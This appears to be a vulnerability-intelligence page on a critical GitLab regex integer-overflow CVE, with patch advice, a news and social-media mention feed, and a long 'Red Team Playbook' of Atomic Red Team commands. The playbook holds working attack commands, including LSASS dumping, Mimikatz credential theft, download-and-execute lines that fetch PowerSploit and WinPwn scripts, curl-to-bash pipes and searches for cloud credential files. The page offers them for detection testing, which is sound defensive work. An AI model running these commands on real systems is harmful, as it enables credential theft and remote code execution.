CVE-2026-110264
Overview
This vulnerability is an integer overflow occurring during the compilation of specially crafted regular expressions within GitLab's regex processing component. The flaw affects the regex engine used in GitLab CE/EE versions prior to 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, and 19.5.1. The integer overflow arises from improper handling of input size calculations, leading to memory corruption in the regex compilation routine.
Vulnerability Description
An issue has been discovered in GitLab CE/EE affecting all versions from 7.0 before 18.11.13, 19.0 before 19.0.10, 19.1 before 19.1.9, 19.2 before 19.2.9, 19.3 before 19.3.6, 19.4 before 19.4.3, and 19.5 before 19.5.1 that, under certain conditions, could have allowed an unauthenticated user to execute arbitrary code on the GitLab server due to integer overflow when compiling a specially crafted regular expression.
Impact
An attacker can execute arbitrary code on the GitLab server without authentication or user interaction, resulting in full system compromise. This allows unauthorized access to sensitive data, modification of repositories, and potential lateral movement within the network. The vulnerability enables complete takeover of the GitLab instance, severely impacting confidentiality, integrity, and availability of the affected systems and associated data.
Solution
Upgrade GitLab CE/EE to versions 18.11.13, 19.0.10, 19.1.9, 19.2.9, 19.3.6, 19.4.3, or 19.5.1 or later as specified in the official GitLab patch release notes. Refer to GitLab's advisory at https://docs.gitlab.com/releases/patches/patch-release-gitlab-19-5-1-released/ for detailed patch instructions. No alternative mitigations or workarounds are provided; timely application of the vendor-supplied patches is required to remediate this issue.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
48%
|
High | High |
Red Team Playbook
124 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1' -UseBasicParsing) -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
ldapdomaindump -u #{username} -p #{password} #{target_ip} -o /tmp/T1087
ldapsearch -H ldap://#{domain}.#{top_level_domain}:389 -x -D #{user} -w #{password} -b "CN=Users,DC=#{domain},DC=#{top_level_domain}" -s sub -a always -z 1000 dn
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc admincountdmp #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -sc exchaddresses #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=person) #{optional_args}
"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -default -s base lockoutduration lockoutthreshold lockoutobservationwindow maxpwdage minpwdage minpwdlength pwdhistorylength pwdproperties
Invoke-Expression "#{adrecon_path}"
([adsisearcher]"objectcategory=user").FindAll(); ([adsisearcher]"objectcategory=user").FindOne()
csvde -f users.csv -r "(&(objectClass=user)(objectCategory=person))" -l "DN,sAMAccountName,userPrincipalName,mail,displayName,description,memberOf"
Get-ADObject -LDAPFilter '(UserAccountControl:1.2.840.113556.1.4.803:=#{uac_prop})' -Server #{domain}
net user administrator /domain
(([adsisearcher]'(objectcategory=organizationalunit)').FindAll()).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] OU Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
(([adsisearcher]'').SearchRooT).Path | %{if(([ADSI]"$_").gPlink){Write-Host "[+] Domain Path:"([ADSI]"$_").Path;$a=((([ADSI]"$_").gplink) -replace "[[;]" -split "]");for($i=0;$i -lt $a.length;$i++){if($a[$i]){Write-Host "Policy Path[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).Path;Write-Host "Policy Name[$i]:"([ADSI]($a[$i]).Substring(0,$a[$i].length-1)).DisplayName} };Write-Output "`n" }}
net user /domain
net group /domain
net user /domain
get-localgroupmember -group Users
get-aduser -filter *
query user /SERVER:#{computer_name}
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1' -UseBasicParsing); Get-DomainUser -verbose
cd "PathToAtomicsFolder\..\ExternalPayloads"
.\kerbrute.exe userenum -d #{Domain} --dc #{DomainController} "PathToAtomicsFolder\..\ExternalPayloads\username.txt"
Get-ADComputer #{hostname} -Properties *
Get-adcomputer -SearchScope subtree -filter "name -like '*'" -Properties *
Get-ADComputer #{hostname} -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" *
& "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" #{optional_args} -h #{domain} -s subtree -f "objectclass=computer" ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
$target = $env:LOGONSERVER
$target = $target.Trim("\\")
$IpAddress = [System.Net.Dns]::GetHostAddresses($target) | select IPAddressToString -ExpandProperty IPAddressToString
wmic.exe /node:$IpAddress process call create 'wevtutil epl Security C:\\ntlmusers.evtx /q:\"Event[System[(EventID=4776)]]"'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
generaldomaininfo -noninteractive -consoleoutput
xcopy /I /Y "#{web_shells}" #{web_shell_path}
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
News (1)
Mentions (50)
98 mentions from 90 sources in the last 7 days BuzzFactor 100 / 100
-
social bsky.app @0daynews.bsky.social 2026-10-22 10:15 UTCgitlab critical rce vulnerability cve-2026-110264 impacts all self-managed instances back to version 7.0. emergency patches available, update now. #infosec https://0daynews.com/articles/2026-10-22-gitlab-cve-2026-110264-cvss-10-rce/Open source
-
social bsky.app @bearstech.com 2026-10-22 09:38 UTCToutes nos instances GitLab sont à jour (version 19.5.1). Cette version corrige notamment la CVE-2026-110264, avec un score CVSS de 10.0 En savoir plus sur notre offre : bearstech.com/contact En savoir plus sur cette mise à jour : docs.git…Open source
-
social swecyb.com @116080658609901341 2026-10-22 09:31 UTC(cert.europa.eu) Critical Arbitrary Code Execution Vulnerability in GitLab Community and Enterprise Editions (CVE-2026-110264) In brief - This article alerts organizations to a critical security advisory from GitLab regarding multiple vuln…Open source
-
social mastodon.social @gertvdijk 2026-10-22 09:19 UTCGitLab security fixes are really next level. 19.4.2: CVE-2026-97229 - Integer Overflow issue in CI/CD Regular Expression CompilerThanks joaxcar for reporting [...]. ... **nine days** pass by ... 19.4.3: CVE-2026-110264 - Integer Overflow i…Open source
-
social bsky.app @e-kiledjian.bsky.social 2026-10-22 09:04 UTCCritical GitLab Flaw (CVSS 10.0) Could Allow Unauthenticated RCE Across 12 Years of Releases GitLab released fixes on October 21 for a flaw, tracked as CVE-2026-110264 and rated CVSS 10.0, that could let an unauthenticated at... https://th…Open source
-
news t.co 2026-10-22 08:49 UTCGitLab Fixes Critical Unauthenticated Code-Execution Flaw Affecting Releases Since 2014 · cyber.hendryadrian.com - Howl.linkOpen source
-
news easternherald.com 2026-10-22 08:36 UTCGitLab Patches Critical No-Login Code Execution Flaw - The Eastern HeraldOpen source
-
code github.com nh4ttruong 2026-10-22 08:31 UTCnh4ttruong/cve-2026-110264-pocOpen source
-
social bsky.app @hendryadrian.bsky.social 2026-10-22 08:24 UTCGitLab fixed CVE-2026-110264, a maximum-severity flaw that could allow unauthenticated code execution on self-managed installations dating back to version 7.0. No exploitation has been reported; administrators should upgrade.Open source
-
social bsky.app @shiojiri.com 2026-10-22 07:52 UTCGitLab、認証なしでRCEが可能になる重大な脆弱性を修正(CVE-2026-110264) | Codebook|Security News https://codebook.machinarecord.com/threatreport/silobreaker-cyber-alert/48229/Open source
-
social bsky.app @hatena-bookmark.bsky.social 2026-10-22 07:35 UTC#🔖テクノロジー 「GitLab」に深刻度“最大”の脆弱性 認証なしで任意のコード実行の恐れ、修正版適用を CVSS「10.0」 米GitLabは10月21日(現地時間)、開発プラットフォーム「GitLab」に深刻(Critical)な脆弱性(CVE-2026-110264)が見つかったと発表し、修正版を公開した。CVSSスコアは最大の「10.0」。特定の条件下で、認証されていないユーザーがGitLabサーバ上で任意のコードを実行できる可能性がある。 12日に公表したCVS…Open source
-
social news.ycombinator.com molf 2026-10-22 07:30 UTCGitLab critical patch releaseOpen source
-
social bsky.app @allaboutsecurity.bsky.social 2026-10-22 07:25 UTCGitLab-Sicherheitslücke CVE-2026-110264: Update empfohlen GitLab hat am 21. Oktober 2026 Patches für eine Sicherheitslücke mit dem Höchstwert von 10,0 auf der CVSS-Skala veröffentlicht. www.all-about-security.de/gitlab-siche... #gitlab #cv…Open source
-
social mastodon.social @allaboutsecurity 2026-10-22 07:23 UTCGitLab-Sicherheitslücke CVE-2026-110264: Update empfohlen Der anfällige Code stammt aus GitLab 7.0, das 2014 erschien. Daraus folgt nicht, dass die Schwachstelle über diesen Zeitraum ausgenutzt wurde: https://www. all-about-security.de/git…Open source
-
news pasqualepillitteri.it 2026-10-22 07:21 UTCGitLab CVE-2026-110264 vulnerability, CVSS 10 in 12 years of releases - Pasquale PillitteriOpen source
-
social bsky.app @dascritch.net 2026-10-22 06:55 UTCFaille critique de 10.0 sur Gitlab. Attention, la version mise à jour corrigeant est passée CETTE NUIT www.linkedin.com/pulse/gitlab...Open source
-
social bsky.app @pmloik.bsky.social 2026-10-22 06:32 UTCTop 3 CVE for last 7 days: CVE-2026-109618: 749 interactions CVE-2026-109619: 587 interactions CVE-2026-110264: 222 interactions Top 3 CVE for yesterday: CVE-2026-109618: 745 interactions CVE-2026-109619: 583 interactions CVE-2026-110264:…Open source
-
news gbhackers.com 2026-10-22 06:16 UTCGitLab Patches Critical 10.0 RCE Vulnerability Allowing Unauthenticated Remote Code Execution - GBHackers NewsOpen source
-
social bsky.app @wojak7537.bsky.social 2026-10-22 05:57 UTCGitLab released 19.5.1, 19.4.3, 19.3.6, 19.2.9, 19.1.9, 19.0.10, and 18.11.13 on October 21, 2026, fixing CVE-2026-110264, a CVSS 10.0 integer overflow allowing unauthenticated arbitrary code execution. https://agxsearch.ai/t/ehgb36Open source
-
social bsky.app @blackhatnews.tokyo 2026-10-22 05:31 UTCGitLabに重大なRCE脆弱性、認証なしでコード実行が可能に GitLabは緊急のセキュリティアップデートを公開し、重大なリモートコード実行の脆弱性を修正しました。この脆弱性を悪用されると、認証されていない攻撃者が影響を受けるサーバー上で任意のコードを実行できるおそれがあります。 この脆弱性はCVE-2026-110264として追跡されています。CVSSスコアは最大値の10.0Open source
-
social infosec.exchange @116810780845358081 2026-10-22 05:16 UTC🚨 GitLab Regex RCE alert: CVE-2026-110264 carries CVSS 10.0. A 12-year-old integer overflow in the regular expression compiler could enable unauthenticated remote code execution. 🔴 CVSS 10.0 ⚠️ No authentication required 🛠️ Multiple GitLab…Open source
-
social mastox.eu @116996372580318764 2026-10-22 05:16 UTC🚨 CRITICAL GitLab Regex RCE: CVSS 10.0 Technical breakdown + affected versions 👇 https:// thecybersecguru.com/news/gitla b-regex-rce-cve-2026-110264/ A specially crafted regular expression could let an unauthenticated attacker execute code…Open source
-
social bsky.app @thecybersecguru.com 2026-10-22 05:13 UTCCVE-2026-110264: a 12-year-old regex integer overflow in GitLab scores CVSS 10.0 GitLab CVE-2026-110264 is a critical regex compiler integer overflow rated CVSS 10.0. Learn about regular expression RCE, affected versions and… https://thecy…Open source
-
other thecybersecguru.com 2026-10-22 05:13 UTCCVE-2026-110264: a 12-year-old regex integer overflow in GitLab scores CVSS 10.0 GitLab CVE-2026-110264 is a critical regex compiler integer overflow rated CVSS 10.0. Learn about regular expression RCE, affected versions and security patch…Open source
-
news finance.biggo.com 2026-10-22 04:55 UTCGitLab Releases Emergency Patch for Unauthenticated RCE Flaw With Perfect CVSS Score, Affecting 12 Years of Versions - BigGo FinanceOpen source
-
social bsky.app @unirun.bsky.social 2026-10-22 04:53 UTCいんたーねっとはもうおしまいですOpen source
-
code gist.github.com dominikmartn 2026-10-22 04:47 UTC# Black October: check your Mac with your coding agent As of 2026-10-22. For people who run AI coding agents (Claude Code, Codex, and similar) on their Mac with full shell access. How to use it: paste this file into your agent and say: **r…Open source
-
code github.com OppositDeer 2026-10-22 04:30 UTCOppositDeer/Gitlab-RCE-CVE-2026-110264Open source
-
social bsky.app @technotenshi.bsky.social 2026-10-22 04:28 UTCGitLab says CVE-2026-110264, its 2nd CVSS 10.0 regex flaw in 9 days, could allow unauthenticated code execution. Instances patched Oct 12 stay exposed. It lists no workaround. docs.gitlab.com/releases/pat... #GitLab #InfoSec #CybersecurityOpen source
-
social infosec.exchange @technotenshi 2026-10-22 04:28 UTCGitLab says CVE-2026-110264 (CVSS 10.0) could let an unauthenticated attacker run code on self-managed servers, in all versions since 7.0. It is GitLab's second CVSS 10.0 regex integer overflow in nine days: instances patched on Oct 12 (19…Open source
-
social bsky.app @securitylab-jp.bsky.social 2026-10-22 04:24 UTCGitLabにCVSS 10.0の新たな重大脆弱性「CVE-2026-110264」、2014年のバージョン7.0以降に影響―認証不要のコード実行リスク rocket-boys.co.jp/security-mea... #セキュリティ対策Lab #security #securitynews #セキュリティ #セキュリティニュースOpen source
-
social bsky.app @gensokyo.tf 2026-10-22 04:12 UTCAaand, Gitlab's next in line 💀 app.opencve.io/cve/CVE-2026...Open source
-
social bsky.app @cyberveille-ch.bsky.social 2026-10-22 03:30 UTC📢 [VULN] ⚠️Faille critique GitLab CVE-2026-110264 (CVSS 10) : correctifs Le 21 octobre 2026, GitLab corrige CVE-2026-110264, une exécution de code à distance sans authentification notée 10.0 qui touche toutes les versions de GitLab CE et E…Open source
-
